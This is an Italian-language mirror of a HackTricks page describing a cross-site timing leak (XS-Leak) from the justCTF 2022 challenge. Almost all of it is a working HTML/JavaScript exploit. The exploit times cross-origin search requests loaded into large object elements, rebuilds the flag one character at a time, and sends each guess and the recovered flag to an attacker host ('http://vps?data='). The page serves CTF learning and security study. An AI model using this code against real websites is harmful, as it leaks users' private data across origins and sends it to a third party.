mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.5 KiB
2.5 KiB
performance.now + Force heavy task
{{#include ../../banners/hacktricks-training.md}}
Exploit preso da https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/
In questa sfida, l'utente poteva inviare migliaia di caratteri e se il flag era contenuto, i caratteri sarebbero stati restituiti al bot. Quindi, inviando un grande numero di caratteri, l'attaccante poteva misurare se il flag era contenuto nella stringa inviata o meno.
Warning
Inizialmente, non impostai la larghezza e l'altezza dell'oggetto, ma successivamente scoprii che è importante perché la dimensione predefinita è troppo piccola per fare la differenza nel tempo di caricamento.
<!DOCTYPE html>
<html>
<head> </head>
<body>
<img src="https://deelay.me/30000/https://example.com" />
<script>
fetch("https://deelay.me/30000/https://example.com")
function send(data) {
fetch("http://vps?data=" + encodeURIComponent(data)).catch((err) => 1)
}
function leak(char, callback) {
return new Promise((resolve) => {
let ss = "just_random_string"
let url =
`http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=` +
ss[Math.floor(Math.random() * ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement("object")
object.width = "2000px"
object.height = "2000px"
object.data = url
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log("Error event triggered")
document.body.appendChild(object)
})
}
send("start")
let charset = "abcdefghijklmnopqrstuvwxyz_}".split("")
let flag = "justCTF{"
async function main() {
let found = 0
let notFound = 0
for (let i = 0; i < 3; i++) {
await leak("..")
}
for (let i = 0; i < 3; i++) {
found += await leak("justCTF")
}
for (let i = 0; i < 3; i++) {
notFound += await leak("NOT_FOUND123")
}
found /= 3
notFound /= 3
send("found flag:" + found)
send("not found flag:" + notFound)
let threshold = found - (found - notFound) / 2
send("threshold:" + threshold)
if (notFound > found) {
return
}
// exploit
while (true) {
if (flag[flag.length - 1] === "}") {
break
}
for (let char of charset) {
let trying = flag + char
let time = 0
for (let i = 0; i < 3; i++) {
time += await leak(trying)
}
time /= 3
send("char:" + trying + ",time:" + time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}
main()
</script>
</body>
</html>
{{#include ../../banners/hacktricks-training.md}}